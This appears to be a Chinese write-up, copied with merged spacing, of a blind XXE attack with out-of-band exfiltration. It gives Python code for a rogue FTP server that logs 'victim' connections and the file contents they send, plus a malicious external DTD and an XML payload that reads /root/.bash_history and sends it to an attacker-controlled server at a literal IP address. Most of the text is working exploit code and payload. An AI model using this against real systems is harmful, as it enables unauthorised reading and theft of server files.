classFTPServer(SocketServer.BaseRequestHandler): defhandle(self): """ FTP Java handler which can handle reading files and directories that are being sent by the server. """ self.request.settimeout(10) logger("[+] victim [{}] has connected FTP !".format(self.client_address[0]), is_print=True) self.request.sendall("220 ftp-server\n") try: whileTrue: self.data = self.request.recv(4096).strip() ifself.data.startswith("RETR "): logger("[+] FTP Received File:\n{separator}\n{}\n{separator}".format(self.data.lstrip("RETR "), separator="=" * 50), is_print=True) else: in_key = False keys = ["USER", "PASS", "TYPE", "EPRT", "EPSV", "QUIT"] for key in keys: ifself.data.startswith(key): in_key = True logger("[+] FTP: {}".format(self.data), is_print=True) break ifnot in_key: ifstr(self.data) == '': logger("[*] file exists! maybe target cannot send multi-lines file!(jdk<7u141/jdk<8u162 supported)".format(self.data), is_print=True) else: logger("{}".format(self.data[self.data.find(" ")+1:]), is_print=True) if"LIST"inself.data: self.request.sendall("drwxrwxrwx 1 owner group 1 Feb 21 01:11 rsl\n") self.request.sendall("150 Opening BINARY mode data connection for /bin/ls\n") self.request.sendall("226 Transfer complete.\n") elif"USER"inself.data: self.request.sendall("331 password please - version check\n") elif"PORT"inself.data: logger("[+] FTP PORT received") logger("[+] FTP > 200 PORT command ok") self.request.sendall("200 PORT command ok\n") elif"SYST"inself.data: self.request.sendall("215 RSL\n") else: logger("[+] FTP > 230 more data please!") self.request.sendall("230 more data please!\n") except Exception as e: if"timed out"in e: logger("[*] FTP Client timed out") else: logger("[-] FTP Client error: {}".format(e), is_print=True) logger("[*] FTP Connection closed with {}".format(self.client_address[0]))
defstart_server(conn, serv_class): try: server = SocketServer.TCPServer(conn, serv_class) t = Thread(target=server.serve_forever) t.daemon = True t.start() except socket.error as e: if"[Errno 10048]"instr(e): exit("[-] Port [{}] is already in use".format(conn[1])) else: exit(str(e))
python ./xxeftp 2121启动
服务器上的secret.dtd
1 2
<!ENTITY % hacker "<!ENTITY send SYSTEM 'ftp://服务器ip地址:2121/%file;'>"> %hacker;
发送的payload:
1 2 3 4 5 6 7 8
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///root/.bash_history"> <!ENTITY % dtd SYSTEM "http://39.98.35.144:80/secret.dtd"> %dtd; ]> <root><reg><name>admin</name><tel>&send;</tel><email>111111111@qq.com</email></reg></root>